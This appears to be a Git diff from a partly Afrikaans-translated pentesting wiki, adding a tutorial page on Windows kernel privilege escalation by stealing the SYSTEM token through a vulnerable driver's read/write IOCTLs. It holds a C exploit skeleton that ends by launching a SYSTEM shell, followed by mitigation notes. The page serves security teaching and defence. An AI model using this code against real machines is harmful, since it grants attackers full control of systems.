- 32-bit, ASLR met stack leak, vergelyking om oproep na exit() te voorkom, oorskryf 'n veranderlike met 'n waarde, skryf shellcode en spring daarheen
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, geen ASLR nie, ROP gadget om stapel uitvoerbaar te maak en spring na shellcode in stapel
|
||||
- arm64, geen ASLR, ROP gadget om die stack uitvoerbaar te maak en na shellcode in die stack te spring
|
||||
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Oorsig
|
||||
|
||||
As 'n kwesbare driver 'n IOCTL blootstel wat 'n aanvaller arbitêre kernel lees- en/of skryf-primitives gee, kan opgradering na NT AUTHORITY\SYSTEM dikwels bereik word deur 'n SYSTEM access token te steel. Die tegniek kopieer die Token-aanwyser vanaf 'n SYSTEM-proses se EPROCESS na die huidige proses se EPROCESS.
|
||||
|
||||
Waarom dit werk:
|
||||
- Elke proses het 'n EPROCESS-struktuur wat (onder andere velde) 'n Token bevat (egter 'n EX_FAST_REF na 'n token-objek).
|
||||
- Die SYSTEM-proses (PID 4) hou 'n token met alle voorregte geaktiveer.
|
||||
- Om die huidige proses se EPROCESS.Token met die SYSTEM token-aanwyser te vervang laat die huidige proses onmiddellik as SYSTEM loop.
|
||||
|
||||
> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
|
||||
|
||||
## Hoëvlak stappe
|
||||
|
||||
1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
|
||||
- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
|
||||
- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
|
||||
2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS.
|
||||
3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
|
||||
- EPROCESS_SYSTEM (for SYSTEM)
|
||||
- EPROCESS_SELF (for the current process)
|
||||
4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
|
||||
5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
|
||||
7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
|
||||
|
||||
## Pseudokode
|
||||
|
||||
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Device + IOCTLs are driver-specific
|
||||
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Version-specific (examples only – resolve per build!)
|
||||
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||
|
||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||
}
|
||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||
struct { uint64_t addr, val; } in; DWORD ret;
|
||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||
}
|
||||
|
||||
// Get ntoskrnl base (one option)
|
||||
uint64_t get_nt_base(void) {
|
||||
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// 1) Resolve PsInitialSystemProcess
|
||||
uint64_t nt = get_nt_base();
|
||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||
|
||||
// 2) Read SYSTEM EPROCESS
|
||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||
|
||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||
DWORD myPid = GetCurrentProcessId();
|
||||
uint64_t cur = EPROC_SYS; // list is circular
|
||||
uint64_t EPROC_ME = 0;
|
||||
do {
|
||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||
} while (cur != EPROC_SYS);
|
||||
|
||||
// 4) Read tokens
|
||||
uint64_t tok_sys, tok_me;
|
||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||
|
||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||
|
||||
// 6) Write back
|
||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||
|
||||
// 7) We are SYSTEM now
|
||||
system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Aantekeninge:
|
||||
- Offsets: Gebruik WinDbg’s `dt nt!_EPROCESS` met die teiken se PDBs, of 'n runtime symbol loader, om korrekte offsets te kry. Moet dit nie blindelings hardcode nie.
|
||||
- Mask: Op x64 is die token 'n EX_FAST_REF; die lae 3 bits is verwysingtelbits. Deur die oorspronklike lae bits van jou token te behou, vermy jy onmiddellike refcount-ongesteldhede.
|
||||
- Stabiliteit: Dit is verkieslik om die huidige proses te verhoog; as jy 'n kortlewendige helper verhoog, kan jy SYSTEM verloor wanneer dit afsluit.
|
||||
|
||||
## Opsporing & mitigasie
|
||||
- Die laai van nie-ondertekende of onbetroubare derdeparty-drivers wat kragtige IOCTLs blootstel, is die hoofoorsaak.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, en Attack Surface Reduction-reëls kan verhoed dat kwesbare drivers gelaai word.
|
||||
- EDR kan kyk vir verdagte IOCTL-volgordes wat arbitrary read/write implementeer en vir token swaps.
|
||||
|
||||
## Verwysings
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user